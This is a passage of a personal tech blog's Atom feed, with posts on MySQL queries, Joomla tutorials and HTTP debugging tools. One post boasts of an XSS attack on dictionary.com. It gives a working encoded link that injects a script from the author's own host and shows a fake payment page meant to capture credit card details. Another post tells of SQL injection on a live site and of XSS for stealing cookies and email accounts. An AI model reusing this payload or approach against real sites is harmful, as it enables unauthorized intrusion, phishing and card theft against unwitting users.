href='http://wwwmania.blogspot.com/2010/09/installing-missing-dependencies-redhat.html' title='Installing missing dependencies redhat / fedora / centos'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-3783096374060364186</id><published>2010-09-02T23:13:00.000-07:00</published><updated>2010-09-02T23:14:06.050-07:00</updated><title type='text'>Query to delete rows with duplicate columns.</title><content type='html'>Say you have table1 with field_name which is having duplicate records, and if you want to &lt;b&gt;delete rows with duplicate columns&lt;/b&gt;, you can use the below query. &lt;br&gt;&lt;br&gt;Assumes that you have a unique id, ID and the duplicate row is field_name.&lt;br&gt;  &lt;br&gt;delete from table1&lt;br&gt;USING table1, table1 as vtable&lt;br&gt;WHERE (table1.ID &amp;gt; vtable.ID)&lt;br&gt;AND (table1.field_name=vtable.field_name)&lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-3783096374060364186?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/3783096374060364186/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=3783096374060364186' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/3783096374060364186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/3783096374060364186'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/09/query-to-delete-rows-with-duplicate.html' title='Query to delete rows with duplicate columns.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-790995867813132393</id><published>2010-09-02T05:01:00.000-07:00</published><updated>2010-09-02T05:07:15.183-07:00</updated><title type='text'>Mysql do bulk operations on tables, columns, information schema &amp; Export to CSV</title><content type='html'>&lt;b&gt;Bulk operations:&lt;/b&gt; &lt;br /&gt;I had used the below script to &lt;b&gt;bulk rename mysql tables&lt;/b&gt; from lowercase to all upper case. And it worked like charm. &lt;br /&gt;&lt;br /&gt;The same concept can be used to do any other like column renaming, table renaming any of the alter table commands.&lt;br /&gt;&lt;br /&gt;SELECT 'USE yourdbname;'&lt;br /&gt;UNION&lt;br /&gt;SELECT CONCAT("ALTER TABLE ",`table_name`," RENAME AS ",upper(`table_name`),";") from information_schema.`TABLES` where `table_schema` = 'yourdbname' INTO OUTFILE '/tmp/result.txt';&lt;br /&gt;&lt;br /&gt;SOURCE&amp;nbsp; '/tmp/result.txt';&lt;br /&gt;&lt;br /&gt;If you are using query browser, you might try using "LOAD DATA LOCAL INFILE" &lt;br /&gt;&lt;br /&gt;&lt;b&gt;CSV Export:&lt;/b&gt;&lt;br /&gt;======================================&lt;br /&gt;Given a query such as  &lt;br /&gt;&lt;code&gt;SELECT order_id,product_name,qty FROM orders&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The below query would create a csv file with the order_id, product_name, qty.&lt;br /&gt;&lt;code&gt;SELECT order_id,product_name,qty&lt;br /&gt;FROM orders&lt;br /&gt;INTO OUTFILE '/tmp/orders.csv'&lt;br /&gt;FIELDS TERMINATED BY ','&lt;br /&gt;ENCLOSED BY '"'&lt;br /&gt;LINES TERMINATED BY '\n'&lt;/code&gt;&lt;br /&gt;Further to add a heading row in the csv&lt;br /&gt;&lt;code&gt;SELECT 'order_id','product_name','qty'&lt;br /&gt;UNION&lt;br /&gt;SELECT order_id,product_name,qty&lt;br /&gt;FROM orders&lt;br /&gt;INTO OUTFILE '/tmp/orders.csv'&lt;br /&gt;FIELDS TERMINATED BY ','&lt;br /&gt;ENCLOSED BY '"'&lt;br /&gt;LINES TERMINATED BY '\n'&lt;/code&gt;&lt;br /&gt;Out put format.&lt;br /&gt;&lt;code&gt;"order_id","product_name","qty"&lt;br /&gt;"1","Tech-Recipes sock puppet","14.95"&lt;br /&gt;"2","Tech-Recipes chef's hat","18.95"&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Keep in mind that the output file must not already exist and that the  user MySQL is running as has write permissions to the directory MySQL  is attempting to write the file to.&lt;br /&gt;======================================&lt;br /&gt;&lt;br /&gt;Found part of this interesting code to export data as csv &lt;a href="http://www.tech-recipes.com/rx/1475/save-mysql-query-results-into-a-text-or-csv-file/" target="_blank"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-790995867813132393?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/790995867813132393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=790995867813132393' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/790995867813132393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/790995867813132393'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/09/mysql-do-bulk-operations-on-tables.html' title='Mysql do bulk operations on tables, columns, information schema &amp; Export to CSV'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-3422692889232908892</id><published>2010-08-11T23:06:00.001-07:00</published><updated>2010-08-11T23:06:53.338-07:00</updated><title type='text'>Joomla templating tutorials.</title><content type='html'>&lt;div&gt;Good basic sessions (explaining what modules, components, plugins  are and how to add content, menus and modules based on menus etc) &lt;/div&gt;&lt;a href="http://www.screentoaster.com/watch/stUE1TQEVIR1pZQlpZUllfVlVV/joomla_training_session_2_part_1" target="_blank"&gt;http://www.screentoaster.com/&lt;wbr&gt;&lt;/wbr&gt;watch/&lt;wbr&gt;&lt;/wbr&gt;stUE1TQEVIR1pZQlpZUllfVlVV/&lt;wbr&gt;&lt;/wbr&gt;joomla_training_session_2_&lt;wbr&gt;&lt;/wbr&gt;part_1&lt;/a&gt;  &lt;a href="http://www.screentoaster.com/watch/stUE1TQEVIR1pZQlpbWlhdU1FV/joomla_training_session_2_part_2" target="_blank"&gt;http://www.screentoaster.com/&lt;wbr&gt;&lt;/wbr&gt;watch/&lt;wbr&gt;&lt;/wbr&gt;stUE1TQEVIR1pZQlpbWlhdU1FV/&lt;wbr&gt;&lt;/wbr&gt;joomla_training_session_2_&lt;wbr&gt;&lt;/wbr&gt;part_2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then template tutorials. There are a series of videos -  creating templates from scratch - 4 videos, Modifying existing templates  - 4 videos. These videos include some basic instructions to use firebug  etc. Very useful for novices and might be a bit boring for advanced  users. However they explain joomla templating very well.&lt;br /&gt;&lt;a href="http://www.youtube.com/user/NetreachWebDesign#p/u" target="_blank"&gt;http://www.youtube.com/user/&lt;wbr&gt;&lt;/wbr&gt;NetreachWebDesign#p/u&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Video tutorial on creating a module in Joomla. &lt;br /&gt;&lt;div&gt;&lt;a href="http://www.joomlatutorials.com/joomla-15x/joomla-developer-tutorials/creating-a-joomla-module.html" target="_blank"&gt;http://www.joomlatutorials.&lt;wbr&gt;&lt;/wbr&gt;com/&lt;span&gt;joomla&lt;/span&gt;-15x/&lt;span&gt;joomla&lt;/span&gt;-&lt;wbr&gt;&lt;/wbr&gt;developer-tutorials/creating-&lt;wbr&gt;&lt;/wbr&gt;a-&lt;span&gt;joomla&lt;/span&gt;-module.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;Excellent documentation on Joomla templates and Component  creation. I recommend to go through videos and then through this  documentation.&lt;/div&gt;&lt;div&gt;&lt;a href="http://docs.joomla.org/Tutorial:Introduction_to_Joomla%21_templates" target="_blank"&gt;http://docs.&lt;span&gt;joomla&lt;/span&gt;.org/&lt;wbr&gt;&lt;/wbr&gt;Tutorial:Introduction_to_&lt;span&gt;Jooml&lt;wbr&gt;&lt;/wbr&gt;a&lt;/span&gt;!_templates&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://docs.joomla.org/Tutorial:Understanding_Joomla%21_templates" target="_blank"&gt;http://docs.&lt;span&gt;joomla&lt;/span&gt;.org/&lt;wbr&gt;&lt;/wbr&gt;Tutorial:Understanding_Joomla!&lt;wbr&gt;&lt;/wbr&gt;_templates&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://docs.joomla.org/Tutorial:More_advanced_Joomla%21_templates" target="_blank"&gt;http://docs.&lt;span&gt;joomla&lt;/span&gt;.org/&lt;wbr&gt;&lt;/wbr&gt;Tutorial:More_advanced_Joomla!&lt;wbr&gt;&lt;/wbr&gt;_templates&lt;/a&gt;&lt;/div&gt;&lt;a href="http://docs.joomla.org/Developing_a_Model-View-Controller_Component_-_Part_1" target="_blank"&gt;http://docs.&lt;span&gt;joomla&lt;/span&gt;.org/&lt;wbr&gt;&lt;/wbr&gt;Developing_a_Model-View-&lt;wbr&gt;&lt;/wbr&gt;Controller_Component_-_Part_1&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-3422692889232908892?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/3422692889232908892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=3422692889232908892' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/3422692889232908892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/3422692889232908892'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/08/joomla-templating-tutorials.html' title='Joomla templating tutorials.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-5876858766008155836</id><published>2008-09-28T04:12:00.000-07:00</published><updated>2008-09-28T04:37:53.608-07:00</updated><title type='text'>Google Trends / Result count, of programming languages for webdevelopment</title><content type='html'>I have been searching on net about the best programming language for webdevelopment.&lt;br /&gt;I have found many blogs, posts, forum topics about the same.. Then came a crazy idea of &lt;span style="font-weight: bold;"&gt;"Why not check for what most people are searching about"&lt;/span&gt;. Then I went of to "&lt;a href="http://www.google.com/trends?q=jsp%2C+php%2C+asp%2C+ruby&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=all&amp;amp;sort=0"&gt;Google trends&lt;/a&gt;" to check the popularity, then searched in google for them to get the hit count. Here are the results..&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/__gfSTlPbdLw/SN9qh_udv2I/AAAAAAAAAIA/2zRJy0Nk4BY/s1600-h/gtrends.bmp"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/__gfSTlPbdLw/SN9qh_udv2I/AAAAAAAAAIA/2zRJy0Nk4BY/s320/gtrends.bmp" alt="" id="BLOGGER_PHOTO_ID_5251032822811836258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PHP -  Results &lt;b&gt;1&lt;/b&gt; - &lt;b&gt;10&lt;/b&gt; of about &lt;b&gt;11,470,000,000&lt;/b&gt; for &lt;b&gt;php&lt;br /&gt;&lt;/b&gt;JSP - Results &lt;b&gt;1&lt;/b&gt; - &lt;b&gt;10&lt;/b&gt; of about &lt;b&gt;821,000,000&lt;/b&gt; for &lt;b&gt;jsp&lt;br /&gt;&lt;/b&gt;ASP&lt;b&gt; -  &lt;/b&gt;Results &lt;b&gt;1&lt;/b&gt; - &lt;b&gt;10&lt;/b&gt; of about &lt;b&gt;3,620,000,000&lt;/b&gt; for &lt;b&gt;asp&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;Clearly php dominated the show.. &lt;b&gt;&lt;br /&gt;&lt;/b&gt;Though I dont infer that php is the best for webdevelopment, but clear it is the most used / most searched language.. :) There is a plenty of help out there for php based webdevelopment.&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-5876858766008155836?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/5876858766008155836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=5876858766008155836' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/5876858766008155836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/5876858766008155836'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2008/09/google-trendshit-count-for-programming.html' title='Google Trends / Result count, of programming languages for webdevelopment'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__gfSTlPbdLw/SN9qh_udv2I/AAAAAAAAAIA/2zRJy0Nk4BY/s72-c/gtrends.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-91616080879249812</id><published>2007-02-10T01:36:00.000-08:00</published><updated>2007-02-19T01:43:20.750-08:00</updated><title type='text'>Excellent video on performance testing with open source tools</title><content type='html'>&lt;h1&gt;Using open source tools for performance testing&lt;/h1&gt; &lt;b&gt;Dont miss it!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;table xmlns="http://purl.org/atom/ns#" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;embed flashvars="" id="VideoPlayback" src="http://video.google.com/googleplayer.swf?docId=-6891978643577501895&amp;amp;hl=en" style="width:400px; height:326px;" type="application/x-shockwave-flash"&gt; &lt;/embed&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr/&gt;&lt;tr&gt;&lt;td&gt;Google London Test Automation Conference (LTAC)&lt;br /&gt;Google Tech Talks&lt;br /&gt;September 8th, 2006&lt;br /&gt;&lt;br /&gt;Presenter:&lt;br /&gt;Goranka Bjedov&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-91616080879249812?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/91616080879249812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=91616080879249812' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/91616080879249812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/91616080879249812'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2007/02/excellent-video-on-performance-testing.html' title='Excellent video on performance testing with open source tools'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-113051260900265343</id><published>2007-01-18T05:09:00.000-08:00</published><updated>2007-02-19T01:43:05.318-08:00</updated><title type='text'>Rediscover Web!</title><content type='html'>I got introduced to this browser an year back ....this thing Rocks .....&lt;br /&gt;Web surfing was not so easier before.Yeah! I rediscovered the web as its caption says .&lt;br /&gt;One thing for sure, when any thing goes open source it gets really better.Thanks to Netscape for letting Gecko into Open source.&lt;br /&gt;&lt;br /&gt;There are few things that make this browser special, Tabbed browsing, Extensions and some options like - start searching when you type etc.&lt;br /&gt;&lt;br /&gt;Extensions!! ya they make this browser a surfer's paradise.There are some cool extensions that I use, here is the list with my favourites at the top.&lt;br /&gt;&lt;a href="http://chrispederick.com/work/webdeveloper/"&gt;&lt;br /&gt;Web Developer&lt;/a&gt;&lt;br /&gt;&lt;a href="http://greasemonkey.mozdev.org/"&gt;Greasy Monkey&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kb.mozillazine.org/SessionSaver"&gt;Session Saver&lt;/a&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/firefox/1843/"&gt; Fire Bug&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mozilla.org/projects/venkman/"&gt; Venkman Javascript debugger&lt;/a&gt;&lt;br /&gt;&lt;a href="http://editcss.mozdev.org/"&gt; Edit Css &lt;/a&gt;&lt;br /&gt;&lt;a href="http://adblock.mozdev.org/"&gt;Adblock&lt;/a&gt; &lt;br /&gt;&lt;a href="http://addneditcookies.mozdev.org/"&gt;Cookie Editor&lt;/a&gt;&lt;br /&gt;&lt;a href="http://fireftp.mozdev.org/"&gt;Fire FTP&lt;/a&gt; - (Though I use this rarely)&lt;br /&gt;&lt;br /&gt;Kudos to all the developers involved in building them.&lt;br /&gt;&lt;br /&gt;Have  you rediscovered the web?&lt;br /&gt;&lt;br /&gt;~SAI&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-113051260900265343?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/113051260900265343/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=113051260900265343' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113051260900265343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113051260900265343'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2005/10/rediscover-web.html' title='Rediscover Web!'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-113462528608745215</id><published>2006-12-14T21:40:00.000-08:00</published><updated>2007-02-19T01:17:19.537-08:00</updated><title type='text'>Tools for IE HTTP header debugging</title><content type='html'>I was wondering if I can get a tool which can be used to check and debug the http headers that are sent by IE .One of my seniors suggested this tool called IE HTTP HEADERS.&lt;br /&gt;Ya, the title explains what it does .....this tool sits in the explorer bar and show you the headers of the http requests sent and the responses received by IE. You can find more about the same &lt;a href="http://www.blunck.info/iehttpheaders.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Recently, I had to test the http responses sent by two different applications .Well, form IE http headers, I can only see the headers but not the body and I was not sure whether the headers were parsed properly by the IEhttpheaders (I was not sure about the &lt;cr&gt;&lt;lf&gt;chars) .....&lt;br /&gt;I wanted an application which can show me the raw data (in hex) sent by both the applications and compare them ............finally found some good tools  "&lt;a href="http://www.fiddlertool.com/fiddler/"&gt;FIDDLER&lt;/a&gt; (freetool by microsoft)",&lt;/lf&gt;&lt;/cr&gt;"&lt;a href="http://www.simtec.ltd.uk/default.htm"&gt;HTTP watch&lt;/a&gt;/&lt;a href="http://www.iewatch.com/"&gt;IEwatch&lt;/a&gt;"(paid tools)&lt;cr&gt;&lt;lf&gt; . Check more about fiddler in microsofts article &lt;a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwebgen/html/IE_IntroFiddler.asp"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Well if you are a mozilla fan like me ........then use this extension "&lt;a href="http://livehttpheaders.mozdev.org/"&gt;Live HTTP headers&lt;/a&gt;"&lt;br /&gt;&lt;br /&gt;If you want to play around with headers (edit,modify) and want to know how your application handles them use the following extensions Modify Headers, Tamper data.&lt;br /&gt;&lt;br /&gt;If you want to see the complete network data send and received by your comp irrespective of application /protocol (http/top) then use "&lt;a href="http://www.ethereal.com/"&gt;Ethereal&lt;/a&gt;" .I never use it for http debugging, as it gives more information than you want.... though you can set filters and view exactly the info you want .......who cares when http debuggers are readily available.Its a marvelous tool though designed for advanced users.I used it to learn about TCP/IP and had a great experience with it.&lt;br /&gt;&lt;br /&gt;Hmm.......that's it about the tools .........happy http debugging :)&lt;br /&gt;&lt;br /&gt;PS: Do not use all the three mozilla extensions together . Some one said they will cause a problem when used together...&lt;/lf&gt;&lt;/cr&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-113462528608745215?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/113462528608745215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=113462528608745215' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113462528608745215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113462528608745215'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2005/12/tools-for-ie-http-header-debugging.html' title='Tools for IE HTTP header debugging'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7052469381394392722</id><published>2006-11-19T01:31:00.000-08:00</published><updated>2007-02-19T01:35:49.604-08:00</updated><title type='text'>Developing JavaScript with Chickenfoot</title><content type='html'>&lt;embed style="width:400px; height:326px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=-8967914974980683249&amp;hl=en" flashvars=""&gt; &lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7052469381394392722?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7052469381394392722/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7052469381394392722' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7052469381394392722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7052469381394392722'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2006/09/developing-javascript-with-chickenfoot.html' title='Developing JavaScript with Chickenfoot'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-6747694548740385537</id><published>2006-10-19T01:19:00.000-07:00</published><updated>2007-02-19T01:20:08.387-08:00</updated><title type='text'>Cool I am successfull !! in XSS attack!!</title><content type='html'>Huh after 10hours  of my hardwork I finally managed to do an xss attack against dictionary.com&lt;br /&gt;The site was pretty easy to attack.... they are not doing much validation at all..  you want to see what id did :)  &lt;a href="http://dictionary.reference.com/browse/%27%3Bvar%20m%3Ddocument.createElement%28%27script%27%29%3B%20m.setAttribute%28%27src%27%2C%27http%3A//r.saiprasad.googlepages.com/t.js%27%29%3B%20document.body.appendChild%28m%29%3B//"&gt;click here&lt;/a&gt; (Hmm.. wait for the page to load copmletely ... :( well I need to manipulate some javascript to make it load fast.. but hey .. I am not using the exploit... so i think its fine to live with it for now)&lt;br /&gt;&lt;br /&gt;So what did you observe in that page? ...&lt;br /&gt;The domain in the url points to dictionary.com and the page asks you to sign up for a paid service to use it.... hmm.. thats all you submit your credit card info boom... nothing happens :).Actually I know that no one is going to get trapped for  that stupid interface I gave...so I set the action for that form to "about:blank". If we want we can set the action of that form in such a way that the credit card info when submitted through this form gets mailed to my Id.&lt;br /&gt;&lt;br /&gt;Any ways ... the interface is pretty premitive.. we can make it more cool with some javascript.. that makes the user think that the page is from dictionary.com only... (for instance if he seaches again ..he will not see the payment page ...with the current interface.. we can change that with a little bit of javascript...)..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Any ways if you want to know how i did that just .. decode the url I gave in "click here" link above.. download the script it is pointing to and explore further.... Happy Hacking :)&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-6747694548740385537?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/6747694548740385537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=6747694548740385537' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/6747694548740385537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/6747694548740385537'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2006/10/cool-i-am-successfull-in-xss-attack.html' title='Cool I am successfull !! in XSS attack!!'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-173130442010746612</id><published>2006-10-11T01:21:00.000-07:00</published><updated>2007-02-19T01:22:03.566-08:00</updated><title type='text'>XSS</title><content type='html'>Cross site scripting..  well I am a novice learning about hacking.. I started with sql injection and I was sucessful  in doing it on a site.. well i hacked nothing but few tables of useless data...&lt;br /&gt;Now a days its a well known vulnerability everyone is aware of  and have taken precaution about... So I stopped exploring it for now...&lt;br /&gt;&lt;br /&gt;Recently I came to know about xss.. and feel that its pretty cool especially when you are trying to hack email accounts, hunting for cookies... etc...show up your html pages on sites... cool that great.... I am understanding it... well tried it out on some test pages of mine and its cool... for more info about xss.. hit the google..............&lt;br /&gt;&lt;br /&gt;I will provide more info once i hit the net and do some real hacks ... and get some experience on it...&lt;br /&gt;&lt;br /&gt;Happy Hacking :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-173130442010746612?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/173130442010746612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=173130442010746612' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/173130442010746612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/173130442010746612'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2006/10/xss.html' title='XSS'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-646249779415956295</id><published>2006-09-19T01:17:00.000-07:00</published><updated>2007-02-19T01:36:06.626-08:00</updated><title type='text'>Understanding file permissions on Linux</title><content type='html'>&lt;span name="intelliTxt" id="intelliTXT"&gt;This article is an exact copy of the article on File Permission &lt;/span&gt;&lt;span class="small"&gt;     Contributed by&lt;a href="http://www.linuxforums.org/bio/author/Clement+Lefebvre/"&gt; Clement Lefebvre&lt;/a&gt; in &lt;/span&gt;Linuxforums.org original article can be read &lt;a href="http://www.linuxforums.org/security/file_permissions.html"&gt;here&lt;/a&gt;&lt;br /&gt;I copied this article here just for my reference.. any modifications to the original article will not be refelected here.Please read the original article for accurate info.&lt;span name="intelliTxt" id="intelliTXT"&gt; &lt;/span&gt;&lt;span name="intelliTxt" id="intelliTXT"&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Understanding file permissions&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt;In GNU/Linux every user has his own user account, and is a member of one or more user groups. Similarly, each file belongs to a user and to a user group. For restricting file access, GNU/Linux (and &lt;a itxtdid="2229535" target="_blank" href="http://www.linuxforums.org/#" style="border-bottom: 